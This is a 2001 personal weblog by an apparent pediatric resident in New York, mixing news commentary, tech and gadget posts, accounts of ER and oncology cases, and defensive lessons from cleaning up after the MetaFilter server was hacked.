Ugh, the weather in NYC is about as disgusting as it’s been this year. Mid-80s, high humidity, no sun… you start sweating within milliseconds of walking outside. Bleah.

Remember the lottery ticket I talked about a few days back? Well, the guy found it in a junk drawer, realized he had won nearly $24 million, and then mailed it into the lottery headquarters to claim his prize. Understated, yes, but also incredibly trusting of the U.S. Postal Service. The story does end well, though — he got his money.

I’m very confused. It has always seemed to me that one thing Republicans are all about, especially when it comes to education, is local control rather than Federal mandates. Right? Then I cannot, for the life of me, understand why the Senate passed an amendment to the education bill which bans giving federal funds to school districts which deny the use of their facilities to the Boy Scouts. Oh, wait… I understand — it’s because the disgusting anti-homosexual agenda is much stronger than the smaller Federal government agenda. (Thankfully, Barbara Boxer got the amendment nullified by passing an alternative, which unfortunately, would still allow the Boy Scouts to use schools.)

Monday, a New York judge presided over the legal marriage of a convicted rapist and the mother of his victim. The judge, James Canfield, has done this many times, claiming that it allows the convict to have conjugal visits and to avoid deviant behavior in prison; this week, he also presided over the last-minute wedding of a man convicted of having sex with two of his own daughters. I saw this over someone’s shoulder on the subway yesterday, and had to find it myself to believe it; I thought that it was just typical New York Post sensationalism, but nope, it’s true.

Eight years ago, a Texas couple arranged for a private adoption of a baby girl, Lauren Calhoun, from a pregnant mom who didn’t want to keep her. A few months later, though, the birth mother demanded Lauren back, and won that right in court. Monday, Lauren was found locked in closet, a foot smaller than she should be, with the communication skills of a three year-old and weighing twenty-five pounds. I cannot possibly tell you how much I am disturbed by this. (The Dallas Morning News has more information on the story.)

Martina Hingis signed a tennis shoe endorsement deal with Sergio Tacchini, and pocketed $5.6 million dollars as part of the deal. Now, she’s suing the company, saying that the shoes hurt her feet and caused her to drop out of tournaments. This seems to be the very definition of having one’s cake and eating it too, no?

An Akron woman is facing criminal charges after repeatedly calling 911 when her dog began having trouble delivering its puppies. Trust me, you’d be stunned at some of the stories of people who come into the ER at my hospital via EMS after calling 911 — yesterday, a boy who slammed his finger in a drawer and sustained a 1/2-centimeter laceration, last week, a girl who had pain in her knee for three weeks. Last time I did my ER rotation, I saw possibly the most egregious use — a father called 911 after his daughter had her first period, and he didn’t know how to talk to her about it. Unfortunately, EMS isn’t allowed to do field triage; they have to bring everyone in.

The National Security Agency has released its whitepapers on securing Windows 2000. Cool — it’s pretty rare when the NSA releases these kinds of documents to the public, and they should all be good reads. (The site appears to be pretty swamped right now, though.)

Today was the first day of orientation of the new pediatric interns at my hospital, and I’m not going to lie to y’all, the fact that there is a group of people coming in to replace me, allowing me to escape the awesome amount of work of this past year, is making me the happiest person alive right now.

More on Smart Tags: it seems that, in true American fashion, people are now considering lawsuit ideas to end Microsoft’s newest idea. I don’t know if I’ve heard anything more preposterous or legally specious. Can Opera be held legally liable for copyright violations because its web browser lets you turn off style sheets, and change the fonts, colors, and link styles of any web page? Hell, Netscape 6 will automatically translate web pages into other languages, and that’s pretty much the definition of a derivative work. People need to get over their apocalyptic fear of Microsoft — it’s making morons of them.

When I read the headline “Bush to unveil global warming plan”, I half-expected the article to describe a very specific Bush Administration initiative wherein the Earth’s temperature will be warmed by a certain amount every year, to a certain goal. In addition, industries would be given incentives to reach the goals, and rewards for getting there on time.

Last night, there was a cool storm in New York, complete with thunder and lightning and driving rain. One thing I really miss about Texas is the frequency of storms like that — it’s fine one moment, and then rain is just pouring out of the sky, thunder clapping and lightning blazing, the next moment, and then it all returns to normal a couple minutes later.

It may just be me, but it seems that it wouldn’t be that hard to use Microsoft’s SharePoint Team Services as a back-end for a weblog. You don’t need a SQL Server database to run it; it will install MSDE (essentially, SQL Server lite) if you want it to. All in all, it’s a pretty interesting thing to think about — Microsoft muscling in on the weblog space.

From yesterday’s Scripting News, also posted to the Metafilter thread you link to.

http://q.queso.com/2001/06/10

Have a great day and keep up the good work.

charlie and me

I just went to see Shrek with my friend Charlie; afterward, we saw this easyEverything web access spot in Times Square, and played with the webcam a bit. (Could they be any worse in quality?) The place is this huge space, with probably eight hundred computers, all with flatscreens hanging on a desk in front of you (you can see some in the background of that picture, behind us). Fast connections, modern equipment, coffee and snacks — it’s a pretty well put-together operation.

Awesome — it’s time for the JVC Jazz Festival to hit New York City again. Now, to match the schedule of the shows against my work schedule, and see what fits where…

If Dave Winer is such an advocate of what he terms the Corporate Death Penalty, would he agree that there’s an argument to be made for putting his own company to death? Winer says that he’d use it when corporations “behave recklessly with resources that don’t belong to them.” On June 7th, Dave openly said that his employees wouldn’t “redirect [their] development efforts” in order to help make Frontier a secure webserver — putting the data of everyone who uses Frontier’s webserver at risk. Likewise, there’s a whole thread at MetaFilter about Userland’s publication of every single member’s email address, despite multiple people’s attempts to get the company to change its ways, or even to get their own individual addresses removed.

Someday in the future, someone’s going to be cleaning out their underwear drawer, find a lottery ticket, and realize that they lost out bigtime.

The latest addition to the BMW Films lineup, Star, is now available. This one made me laugh hysterically — it perfectly showcases a feeling that anyone who brushes up with fame must feel. Madonna’s in this one, although that shouldn’t be a huge surprise, given that her husband directed it; what will be a big surprise is how she ends up at the end.

Will there ever be a day when I come home from an ER shift without tongue depressors and alcohol wipes in my pockets?

I’m getting so very, very sick of people bitching and moaning about things based purely on fear and loathing of Microsoft, rather than what the company is actually doing. The sky is falling! The sky is falling! For the love of God, Mossberg even got Microsoft to go on record saying that (a) the feature will be off, by default, and (b) that web page designers will be able to turn it off on their pages even if users have it turned on; despite this, though, he still feels the need to paint a picture of loathing and evil. Sorta sad.

I like the thoughts expressed here a lot.

Back on the photography thread for a quick note — check out idea no. 12, specifically the photography link in the middle menu. The photography itself is quite good; even better, if you’re using Internet Explorer, is the presentation. I have a lot to learn from this guy.

For Noah, and all you other Supreme Court fans out there: take the TRUNK (the Test of Ridiculous, Useless, Nerdy Knowledge about the Supreme Court).

Followup on the Logitech keyboard and mouse — their hardware may be great, but their software has some serious issues. Doesn’t matter if you tell the MouseWare app not to put the icon up in the taskbar; it’ll be there on the next boot. Doesn’t matter if you tell the iTouch app to put the capslock and numlock icons in the taskbar; they’ll be gone on the next boot. Confusing.

The first thing I thought when I looked at this picture of the aftermath of the collapsed Jerusalem wedding banquet hall was how freakin’ terrified I would have been had I been stranded on that little bit of floor held up by (hanging down from) the pillar in the middle of the chasm. Watching the video of the disaster is pretty damn scary.

brooklyn bridge swinger

On a lighter photography note, thanks to both Jason and Heather for pointing out Photographica, one of the coolest damn sites I’ve ever come across. It’s a community website for photographers and their images, and some of the pictures found there are truly amazing. Spend some time there; you’ll be glad that you did.

Hell, one more photo link: did you know that some guy spent a few hours this week climbing around on, and swinging from, the Brooklyn Bridge cabling? Eeeek; that couldn’t look any scarier.

Egad, Jay Forman’s account of monkeyfishing made my skin crawl. (It’s not for the sqeamish, mind you, as it’s just what it sounds like it is.)

When Logitech first came out with their cordless mice, I was so happy — I hated all the corded mice that I had ever used, and I had a smallish desk, so I wanted the extra space. Then, when Microsoft released their optical mice, I was completely divided — the optical sensors are sooo much better, but all the mice had cords — so I vowed to buy the first mouse Microsoft made that was both optical and cordless. Looks like Logitech beat ‘em to the punch, though, and now that one of these babies is on my desk, I can wholly recommend it to everyone out there…. it’s schweeeet. (I got a new cordless keyboard while I was out, and I have yet to get a dropped keystroke. Logitech seems to have improved quite a bit over the past two years.)

This is just a list of little things I learned while cleaning up after the MetaFilter hack. I don’t pretend that this list is comprehensive; instead, it’s a simple few things that you should think about before and after someone hacks into your network.

1. If a machine is hacked, pull it off the network immediately, and only put it back on the network once you can be sure it’s isolated from the rest of your internal network and from the Internet.

Any time you discover evidence of unauthorized access to a machine, you have to assume the worst — that the machine is not only hacked, but that it is collecting information from the rest of your network, that it is serving as a launching point for attacks on others, and that it will do actual damage to other computers if left to its own devices. Thus, as soon as you discover that it’s been hacked, yank the network cable until you can collect your senses and decide what to do.

In the case of the MetaFilter server, though, we had to get it back onto the network in order to do any diagnosis; it runs without a monitor, and in addition, Matt is in California, and could only examine it over the Internet. Because of this, the best option seemed to be throwing a few extra access lists onto the router that would limit access to the machine to Matt’s IP address and my own, and that would prevent the machine from being able to talk back to any other machine but those two. After those were installed, I was able to plug the machine back into the network and we could start sleuthing.

2. Always subscribe to the mailing list for security notices related to your operating system, and always read the security notices that you receive.

No matter which operating system you run (and, accordingly, how much you hate other operating systems), there will be security issues that come up. If you have a machine connected to the Internet, it’s your job to make sure that that machine is secure, both for your own benefit and for the benefit of those who won’t have to worry about your machine being used to launch an attack on theirs.

Here’s a group of pages which explain how to sign onto the lists covering most operating systems:

When security advisories are released, read them and make sure you understand whether or not they apply to your setup, what the risk is if you don’t apply the patch, and how to install them completely. If the advisory describes a threat to your setup, then act to neutralize the threat at the soonest opportunity available to you. (Remember, once you know about the bug, so do thousands of other people, and it’s only a matter of time before someone tries to use it against your machines.)

3. Use a firewall or router to limit access to your machines.

Just because a machine needs to provide services to the Internet at large doesn’t mean that it has to have every since service available for people to use and abuse. If you’re providing web services, then limit people’s ability to access your machine to just the port on which the webserver is running. If you’re running a mail server, limit people to just the ports necessary to send and receive mail.

Put access lists on your routers or firewalls that prevent people from spoofing into your network from the outside. This means that you should deny access through your router to any machine claiming to have an IP address that could only exist within your own network. Similarly, don’t allow machines into your network which carry private network IP addresses — they’re inevitably trying to spoof their way in, and avoid being traceable. (For example, right now, my access lists show, from the last 12 hours, 136 attempts from the 10.0.0.0 address space, 13 attempts from the 172.16.0.0 address space, and 131 attempts from the 192.168.0.0 address space.)

Remember, limiting access not only helps prevent hackers from installing trojans and other malicious software, it also helps prevent them from accessing their trojans and backdoors if they manage to get them installed. Most of these remote control apps set themselves up on a port and await contact or instruction from the person who set them up. If the hacker doesn’t have the ability to get through the firewall and contact that port, then you’re halfway to neutralizing the threat posed by that trojan.

4. Keep logs on your publicly-accessible machines, and archive the logs regularly.

One of the best ways to sleuth after-the-fact is to have reliable logs files. Frequently, you can get IP addresses from the logs; in addition, they may contain information that can help you figure out how the hacker broke into your machine. (Remember that the hacker could have very well modified the logs, though, either to erase traces of his visits, or to divert blame elsewhere.)

For example, if the person hacked into a webserver, the webserver logs may contain the URLs which they sent to gain access to the machine. (For the MetaFilter hack, the URLs contained a file which wasn’t originally part of the website.) If the person hacked into the machine through a mail server, the mail logs may have the headers that show the exploit used. Ad infinitum.

Likewise, though, you should regularly dump log files out to a removable medium or other storage system which isn’t accessible to the hackers during their uninvited stay on your machine. Otherwise, they can modify the logs to erase evidence of their visits, and you can lose valuable clues as to who they were, and how to both clean up after them and prevent their return.

5. Make a backup of any files you suspect were affected, before you go about cleaning the server up.

Having information like timestamps, access lists, and audit chains on changed files is invaluable. You want to make sure that your cleanup process doesn’t affect any of this before you have a chance to see it and figure out how it fits into the puzzle.

Likewise, you’ll want to pay attention to any possible applications which could modify the files you care aboutwithout your explicit acknowledgement. For example, a web-based mail app that I use deletes and restarts its log file every time that you start the service, so if I care to see the logs that it creates when it’s running, it’s important for me to know that I can’t stop and start the service without backing those log files up.

6. Know the security resources available to you on the Internet.

If you’re running a hackable server, then you should be aware that there are a lot of resources out there that can help you track down the answers to questions that come up when you’re trying to figure out what happened after the fact.

  • Sam Spade: possibly the best single resource out there. When you come across an IP address in your logs, plug it in here, and you’ll find out what network it’s on, the contact information for those who run the network, and the upstream Internet service providers. If you know how to read the reports, you can also figure out if the machine is still up, or if it’s protected behind a firewall or proxy.
  • RIPE Whois: unfortunately, many of the machines used as launching points for attacks are in Europe; RIPE is the organization that assigns IP addresses for the region, and its lookup facility will help you figure out who to contact about a break-in attempt.
  • Again, each operating system vendor maintains a database of technical information that’s generally both available to the public and searchable. Microsoft’s Support Knowledge Base and Security website are both pretty good, as is Apple’s Tech Info Library. I’ve never used Sun’s SunSolve Online, so I can’t comment on it. For Linux, you’re better off going to each vendor’s site (although Red Hat’s support knowledge base isn’t a bad place to start). Lastly, Cisco has the Technical Assistance Center, which is a good place to start if someone’s hacked into your Cisco router.
  • Google Groups: an archive of all the postings to Usenet, the public messaging network. When people get hacked, or when new hacks are released, they tend to be mentioned multiple times on Usenet; searching for information related to data you find on your hacked server can usually help you track down both descriptions of the problem and possible solutions.

So, Tuesday was inauspicious day for things here related to the MetaFilter move. First, my T1 went down for an hour, due to Verizon losing a T3 trunk at my ISP. (Grrrr, it was the third time in the last four months that my T1 was down; my support rep heard a few creative phrases coming from me about that.) Then, last night, MetaFilter got hacked, and I threw a filter on the router that prevented anyone but Matt or me from accessing the machine until we got things back in order.

bandwidth graph

After working last night to clean the MetaFilter box up and secure it down, I’ve thrown together a few lessons learned from the hack. I don’t claim that it’s a comprehensive list; instead, it’s just a few things to think about.

What a great photo; something which helps highlight why it’s amazing is the knowledge that Kobe Bryant (on the left) is 6 foot 7, while Allen Iverson is 6 feet 0. Go Sixers! (Of course, I’m rooting for the Sixers because I’m of the school that roots against the team that beat my team, and the Lakers crushed my San Antonio Spurs.)

And what another great photo; it may help to know that the guy in the front is average-sized, and the expanse behind him is the size of a whole planet. (Go ahead, roll your eyes at me…)

I’m with Dori and Rebecca — Dave probably should shut down WinerLog after the author’s latest stunt, starting a contest to break into Manila websites. (Then again, I’ve pretty much always felt that it’s Dave’s playground, to do with whatever he pleases.) However, the idea behind the contest isn’t a bad one (trying to improve the security of Frontier-hosted websites). Dave himself should set up a server with a similar contest, and then use the results to build a stronger product.

Last night, I worked the acute side of the pediatric ER, and had a total blast. I took care of a sum total of 13 patients (a lot, given the fact that my job was to handle the sickest of the sick in the ER, not the kids who come in with minor complaints and are sent home in a half-hour). I kept little labels with all of their names and issues, just so I could recap them at night’s end. Here’s the rundown:

  • a seven year-old girl, four months out from a bone marrow transplant for acute leukemia, who was in for fever, pharyngitis, and a broken central venous line;
  • a two month-old with VACTERL syndrome who was noted to be breathing around 80 times a minute in cardiology clinic, and was found to have massive pulmonary edema;
  • a four month-old with an heretofore uncharacterized chromosomal abnormality (a monosomy and a trisomy), who began having infantile spasms at home yesterday morning;
  • a ten year-old girl with abdominal pain, which slowly progressed to what was thought to be appendicitis (she went to the operating room as I was leaving, and thus, I don’t know if the surgeons found an inflamed appendix);
  • a fourteen year-old girl in for her third visit with abdominal pain, found to have ovarian cysts on a prior visit but now with pain inconsistent with that diagnosis;
  • a fourteen month-old boy and a seventeen month-old boy, both with fevers to 104 and wheezing, both found to have raging viral throat infections, and both eventually sent home with albuterol treatments and aggressive fever control;
  • an eight-month boy and a seventeen month-old girl, both with low-grade fevers and decreased oral intake, both found to have mild viral pharyngitis and dehydration;
  • an eight month-old girl who was in for her second visit in two days, both times for fever and vomiting, this time found to have findings consistent with pneumonia;
  • a two year-old boy who had a fever, was breathing around sixty times a minute, and had low oxygen saturation levels;
  • a seven year-old boy with pulmonary lymphangectasia and pulmonary hypertension who began coughing up frank blood yesterday afternoon;
  • a seven week-old infant with projectile vomiting for two days.

I love working on the acute side.

I had all these good things to say here early this morning, but then, something popped up and I spend a few hours cleaning up and closing doors. I’ll grab Matt and document the whole process here when I am a bit more lucid; for now, it’s time to go to bed.

Ooooh, ooooh, I want to be laid off from Guinness too!

Cool — my post Saturday about the annoying-as-hell X10 ads generated a MetaFilter thread, which in turn generated a Moneybox column in Slate.

I spent a little too long this morning entertained by the Journal of Improbable Research’s “Feline Reactions to Bearded Men”. I particularly liked the bibliography, which includes the seminal works “Feline Responses to Hairy Legs” (by Madonna Louise Ciccone) and “Feline Responses to Shaven Heads” (by Sinead O’Connor and Y. Brynner).

And in other Earth-shattering research, it appears that over 27% of men would like to mow the White House lawn, and over one in ten women would like to look out the front window to see Tom Cruise trimming the grass.

It appears that Lawrence Lee is closing up shop over at Tomalak’s Realm. Lawrence’s site was one of the early ones, and remains one of the good ones. He did something simple, and he did it well — finding interesting web-related news articles and sharing them, with only a fairly-representative pullquote as commentary. I, for one, will miss it.

Does anyone else find it completely creepy how this article from The Rising Nepal (the national daily newspaper of Nepal) never, even once, mentions how Prince Dipendra Bir Bikram ascended to the throne?

Wow — could Jenna Bush’s (now famous) failed attempt to buy beer on Thursday night be her third alcohol-related citation? Most news sources are reporting it as her second (being that her ostensible first was also very public and very recent); the Houston Chronicle has dug up data that suggests the ticker’s one higher. If so, it could mean jail time for the First Daughter.

I know that someone, somewhere, for some reason really wanted to know about the ultrasonic velocity characteristics of cheddar cheese, and the effect that temperature has on said characteristics (warning: PDF file). Importantly, this study managed to “demonstrate the feasibility of using ultrasonic measurements to determine temperatures in Cheddar cheese” — this must be important to someone.

In all honesty, this spoof on a Winnie the Pooh story is worth a quick glance, if only for the graphics that accompany it. (Warning — if you like Pooh, then this probably isn’t for you.)

I gotta tell ya’, I’ve become pretty damn annoyed with the damn X10 wireless system ads that have started popping up under m y webbrowsing window. Thanks go out to Gael for a bunch of awesome links — one to X10’s explanation of the ads, and another to a page which will disable the ads. (The unfortunate thing is that that last link only disables them for 30 days, but in looking at the URL, there’s an argument that sets the 30-day variable; if that’s right, then this link should disable them for a year, and this one should disable them for 10 years.)

I’m just impressed that the whole thing took less than an hour. Matt always seems to take much longer. heh

Welcome, MetaFilter readers… I’m glad that you’re enjoying the renewed speed of everyone’s favorite community weblog. Also, congratulations on getting MetaFilter mentioned in the New York Times; it’s a great feat, accomplished because of the contributions of all 9,000-plus members. Keep it up.

Meanwhile, I’m completely amazed at what we’re capable of in the year 2001. At around 2:00 PM on May 30th, Matt dropped the server off at a FedEx depot in San Francisco; at 11:30 AM on May 31st, the machine was delivered to my door in perfect condition. Over that time, thousands of DNS servers updated their records to reflect that the address of MetaFilter had changed, and yesterday, thousands of people were able to seamlessly connect to the machine despite it being some three thousand miles from where it was the day before. Amazing.

And lastly, Anil spent way too much time refreshing the images from my webcam and came up with QuesoVision, a set of cam grabs turned into a little movie of the server reanimation.

I cannot say enough happy goodness about BMW Films. I know I’m a little late to this bandwagon (or so it seems), but these short films are freakin’ amazing. If you’ve got the bandwidth, download the BMW Film Player and grab the highest-resolution versions — they’re stunning. The Player has some cool DVD-live features, too, like director’s commentary tracks… the whole package is great.

Back on the atomic clock thread, thanks to a particularly nice MeFi reader, I now have another desire: this kickass atomic wall clock from Restoration Hardware. Not only does it receive signals from the national atomic clocks to keep perfect time, it looks smart; it belongs in my living room.

A Redmond, Washington high schooler sliced up a 1985 Mazda, slid it around her school flagpole, and re-welded it back together in what is a damn fine senior prank. The best part of it is that she got a ticket for $10, for parking out of her designated spot.

I gotta take a little time tonight to read these two OJR articles on the legality of linking to another person’s content on the Web.

Uh-oh: the Apache Software Foundation fessed up today that a machine of theirs — one which has all the email addresses of people on ASF’s public mailing lists, as well as the source code for all of the Apache software — was broken into two weeks ago. I wonder why they didn’t report the break-in immediately? Seems like the open-sourcers bitch and moan when others don’t do exactly that.

Quote of the day, from an IM chat with Anil about webcrushes: “Yeah, it’s a shame when the gorgeous can’t be convinced to keep their empty heads silent.”

metafilter boots up...

Well, I guess Matt has let the cat out of the bag — the newest member of the Queso network will be the MetaFilter server (and all the sites that come along for the ride). Now, it’ll be that much harder to resist my demonic urges to slowly manipulate the backend code to quietly install my minions in positions of influence and importance…

UPDATE: the server arrived and is now back up and running. Between my pictures (alas, a film camera) and Anil’s screen captures from my webcam, there’ll be a picture show soon enough. In the mean time, enjoy, everyone…

In the last two weeks, I’ve dealt with no less than five children who were the victims of sexual abuse — a twelve year-old, an eleven year-old, a ten year-old, and two three month-olds. After all that, it’s much easier for me to look at policies that require sex offenders to identify themselves publicly in a much more sympathetic light.

Regarding yesterday’s mention of the ass who tried to extinguish the Eternal Flame (pun intended), Alex Griessmann reminded me that a group of drunk Mexican soccer fans once succeeded where this guy failed. Undoubtedly, a proud moment in those guys’ lives…

Windows 2000 Magazine has an article pointing out the known issues with the Win2K service pack 2 — it seems that they’re pretty minor, and in my experience so far, the service pack is well-worth the installation.

One fix not included in the service pack is a potentially-exploitable memory leak in the Windows 2000 domain controller code. If you’re running Active Directory servers, Microsoft recommends that you install this hotfix lest crackers have the ability to bring your servers down.

Wanna know how big a geek I am? Today, I was surfing around, came across an atomic radio clock receiver, and began salivating. How cool would it be to have an atomic clock in your very own home? (Wait a second — I just realized that my GPS receiver does the same thing, and I already own it. Now, if I can figure out a way to get it to pick up satellites in this concrete jungle…)

This week, I moved from the inpatient wards to the emergency room; for the next two weeks, I’m on the evening shift, from 5 PM to 2 AM. It’s the first time in my life that my job reflects the hours that my body wants to be awake. If left to my own devices, I’d wake up at noon and go to sleep at 3 AM every day… this rocks.

If you have to read just one account of a woman following a bare-assed, hairy man in chaps around Long Beach, California, let this one be it.

How completely cool — IBM is providing free, unhindered access to the world to Linux running on an S/390 mainframe, so that you can test your applications or just play with Linux on big iron. Pity that registrations are suspended right now “due to heavy enrollments” — I’ll have to check back in soon.

Why have I never heard Opie and Anthony?

More importantly, though, why was it not more well-publicized that someone tried to extinguish the Eternal Flame with his ass?

I’m not too terribly sure how I feel about the Supreme Court’s ruling allowing Casey Martin to use his golf cart on the PGA Tour. Don’t get me wrong — I think that it’s great that the courts recognize that people with disabilities should be given the exact same chances to live out their dreams as everyone else. What keeps going through my mind, though, is how the same doesn’t apply to, say, a runner who suffers from dermatomyositis and uses steroids to bulk up her muscle mass to that of her peers, or a basketball player who suffers from narcolepsy and uses amphetamines to keep himself awake during games. Interesting questions, probably for future courts of law.

I’m excited — this week, we’re scheduled to get a new member of the Queso network family. Expect more information soon.

Jason: Just curious as to why you cheer for the San Antonio Spurs…I live in San Antonio, and for the first time in nearly 15 years, I actually was following a sporting event out of excitement. The loss of the Spurs gave me great pleasure (details if you want them)…but I am puzzled as to why the Spurs is *your* team. Cheers/Dave

Someone remind me to spend a little while looking through William Gedney’s pictures of New York when I get more time.

How badly do you think the world needs a toaster that burns your local weather report into the toast? The scary thing is that Robin Southgate is apparently turning this in as her (his?) major project.

Let’s be perfectly clear about this — the Los Angeles Lakers made my San Antonio Spurs look like a high school pickup team in last night’s 39-point rout. This one is over.

I can’t tell you how saddening it is that advertisements are going to be digitally inserted into the syndicated Law & Order episodes that are going to be run on TNT this year. One of the best shows on TV is going to become one of the most gimmicky stunts on TV — great.

God, I was hoping that the switch of Jim Jeffords to the independent column in the Senate would lead to the failure of Ted Olson’s Solicitor General nomination. Unfortunately, Republicans slid him in under the wire; we now have a man who lied to Congress as the head defender of the United States government in court.

Originally found over at (the on hiatus, sorry Dan!) Lake Effect, I’ve been hanging onto this great way to work around Netscape’s terrible style sheet incompatibilities. (Now, I just need to implement the damn thing.)

I’m sitting here reinstalling Linux (thanks to a hard disk that didn’t didn’t want to go on living), with the constant reminder why I like Microsoft operating systems — the installation is much, much easier. Nevermind the idiotic interface and terrible documentation; the package dependency feature alone is enough to cause my blood pressure to skyrocket.

Sometimes death is not the worst option.

On Sunday morning, I went into work a little early so that I could spend time feeding the abused twins that we’re taking care of on my service. It?s a rare weekend day that I go into the hospital for call early; as it is, I can expect to be on the wards — and actively running around — from 8 AM until at least 10 AM the next day, so even spending an extra 15 or 20 minutes there is a pretty big stretch. But at 7:30 AM on Sunday, I planted myself firmly in the chair between the twins, grabbed one of them, and settled in with a bottle of formula.

It was around 7:45 that I thought that I heard one of the nurses say the word “arrest” in the hallway outside. My ears perked up a little bit, and about 10 seconds later, the same nurse called out over the intercom, “All doctors to room 1032.” I stood up quickly, tossed the twin to the police officer guarding the room, and raced around the corner to see what was going on.

Now, a little background on childhood oncology might be in order here. Most people are familiar with what would be considered standard treatment for cancers — chemotherapy is the mainstay, and for the most part, a typical oncology ward at a children’s hospital is populated with kids who are undergoing chemo. There are, however, children who have forms of cancer which don’t respond to this, and for many of them, the only available option is bone marrow transplantation. BMT is a completely different beast — we use even more toxic medicines to completely remove a child’s native immune system, and then install a new one in the hopes of eradicating the cancerous cells. The children undergoing bone marrow transplantation can get very sick, and any little insult — a viral illness, an ulcer, a urinary tract infection — can overwhelm what little reserve they have left. Most of the time, taking care of children around the time of their transplants involves fighting off every little threat in the hope that their new bone marrow will take hold (“engraft”) and ramp up to normal function. At the time, we had six children on the ward in various stages of transplantation, and three of them were within the couple-month window where anything could happen.

When I heard the room called out over the intercom, I knew the patient immediately. Nancy (not her real name, of course) had had a bone marrow transplant around six weeks prior, and her course had been a particularly hard one. She had experienced the typical set of complications that plague these children — fevers, mucositis, anorexia — but had also developed a few more serious problems, including the one most feared in transplantation, graft-versus-host disease. GVHD occurs when some of the immune cells from the donor’s bone marrow realize that, now transplanted, they are in foreign territory and attack the recipient. Everything possible is done prior to transplant to try to prevent GVHD — certain markers on a patient’s blood type are matched to the donor to make sure that there aren’t incompatibilities, and recipients of bone marrow transplant are maintained on high-dose immunosuppressants during the time when they are most susceptible to GVHD — but nonetheless, there are times when the feared occurs. Nancy had developed the worst grade of GVHD, in which the immune cells were attacking her skin, her liver, and her gut, and we had been spending a significant amount of time fine tuning her therapy to attempt to ameliorate the problem. Despite this, she had been deteriorating, and towards the end of the week, she had developed relatively severe inflammation throughout her GI tract.

I was the third person to arrive in Nancy’s room. Already there was my senior resident, as well as the intern who I was to be relieving that morning; they quickly called out that the nurse had found Nancy unresponsive. We put a monitor onto her and saw that her heart rate was around 30, and she did not appear to have any respiratory effort to speak of; my senior resident began chest compressions, and I grabbed the bag-valve mask to start breathing for Nancy. By that time, the arrest cart had arrived outside the room, and one of the senior residents had arrived from the pediatric ICU; he took control, and started calling for arrest medications. I pushed epinephrine once, then a second time; at that point, her heart rate came up to the 50-60 range, but she still had no palpable pulses. I then pushed atropine and sodium bicarbonate, we hung an epinephrine drip, and (having arrived a few moments prior) the ICU fellow intubated Nancy. We started running fluids into Nancy wide open — first, using just saline, but quickly moving to albumin, a thick protein-filled liquid which helps a patient maintain volume in their arteries and veins. Somewhere in the fray, Nancy was moved onto an arrest board (since doing chest compressions on a soft, cushy bed is next to impossible); it was handed into the room by one of the dozens of people (residents, fellows, students) who had collected outside the doorway to the room.

While one of the residents was placing an arterial line, we quickly reevaluated the situation, and realized that things had gotten better. Nancy had a blood pressure and pulses in her arms and legs; she was also moving a bit and responding appropriately to questions. I placed my hand in hers and asked her to squeeze, and was rewarded with a gentle pressure around my fingers. I asked her if she wanted to see her mom, and she nodded yes, so her mom quickly wiped the tears from her own face and was shepherded through the mass of people to the bedside. Next, though, the ICU nurse who had taken over the ventilation job reassured Nancy that she was going to be OK… and she began nodding her head back and forth. She was clearly miserable — lying naked, a tube down her windpipe, another tube down her throat, terrified about everything that had just happened. Tears were pouring out of her eyes. People were flurrying around her, getting everything ready to move her as fast as possible to the ICU.

After Nancy was moved, my senior resident grabbed the other intern and I, and we decompressed for a little bit. We then started rounds so that they could sign the team over to me, but we all found it very hard to keep from returning to what had gone on for the previous half hour. It was, to say the least, surreal — we had gone from relaxed to 100% adrenaline, and we were all still shaking from the arrest.

About ten minutes into signout rounds, there was a knock on the door to the conference room, and one of the ward nurses came in to tell us that Nancy had just succumbed. She didn’t have any details, though, so we quickly finished up and went down to the ICU. Apparently, within 10 minutes of arriving, Nancy arrested again, and the ICU team began another entire round of resuscitation. A few minutes into the code, however, Nancy had a massive pulmonary bleed, and at that point, it became impossible for her to get enough oxygen to live; within sixty seconds, she died. By the time we got there, the parents had already been brought into the grieving room and told what happened, and the bone marrow transplant team was outside the room, beginning all of the paperwork. I walked into the room, and Nancy was lying in the middle of the bed, as peaceful as I’d ever seen her. The nurses were gently cleaning her up, removing all the catheters and bandaging up her wounds, and for the first time that I had known her, there were no noises of pumps running, no beeps from monitors, no whispers from oxygen masks. There was nothing except the quiet acknowledgement of a life ended by tragedy, but also of pain replaced by peace.

Later in the day, when someone asked me how I was doing, it hit me that it was that last moment that I saw her when I realized that I had been coming into work every day for the past month expecting exactly what had happened. Nancy had been sick — far sicker than any of our other patients, and constantly teetering on the brink between able to fight and willing to give up. She had also been miserable, nearly inconsolable, and over the course of taking care of her, I began to realize that there are times when it is appropriate to acknowledge a basic fact of life: death is not always the worst option. Nancy had endured tortures far worse than anything I can imagine, and Sunday morning, she was at the point where the pain and misery had stopped taking breaks. Finally, she banished them forever.

This weekend, one of my sickest patients finally succumbed to her illness, and made me think about what it is that keeps me going in a job where kids can and do die from their diseases. After thinking about what these kids go through, though, I realized — death is not always the worst option.

Oh… my… GOD.

Everyone, click on this photo link. Not because it’s a terribly great picture; it isn’t. Not because it’ll enlighten you to something about which you need to know; it won’t. Instead, do it to prove a point.

I really don’t think that this mathmatical proof of the true nature of women could have come at a more appropriate time for me. (It appears that the site that hosts the image is down; in the mean time, I mirrored the image locally.)

Oh, what a great Bushism:

For every fatal shooting, there were roughly three non-fatal shootings. And, folks, this is unacceptable in America. It’s just unacceptable. And we’re going to do something about it.

I know it’s gonna shock everyone that the stories about the rampant White House vandalism by the outgoing Clintonites were untrue.

More Windows 2000 Service Pack 2 information: there’s now a list of the security bulletins which have been rolled into SP2. An important detail that this page mentions is that security fixes to Internet Explorer 5.5 are not part of SP2; go here to get these patches.

Once again, my time in the hospital has turned into dealing with abuse, and it’s making me incredibly ambivalent about going in in the mornings. Wednesday night, I admitted a set of twins who were brought in by their aunt after she noticed bruises and abrasions all over their bodies. A few days later, the catalog of damage includes: one broken femur, one broken humerus, at least fourteen broken ribs, two skull fractures, a dozen bruises, a half-dozen bite marks, and a couple things that I can’t even begin to describe. The only part of the case I look forward to is going in a little early each morning and feeding them.

Hello Noah! (For the uninitiated, that’s a picture of my brother and I on our vacation to Alaska last year; we’re in front of a lake that was off the side of the road on our drive back from the Kenai Peninsula.)

And as for why I’m saying hello, it’s because he’s the first family member of mine to discover Q Daily News (I’d bet from this search query that showed up in my referrer logs today). I don’t know why I’ve kept it hidden — perhaps because it’s just ramblings, not really meant for anyone much less for those closest to me, but it’s cool knowing that now the secret’s sorta out. (And, being that he’d probably keep a great site, maybe now I can coax him to let me set him up with an online home of his own.) Does anyone else hide their sites from their family? Their loved ones? Discuss amongst yourselves (you’ve got to log in to talk).

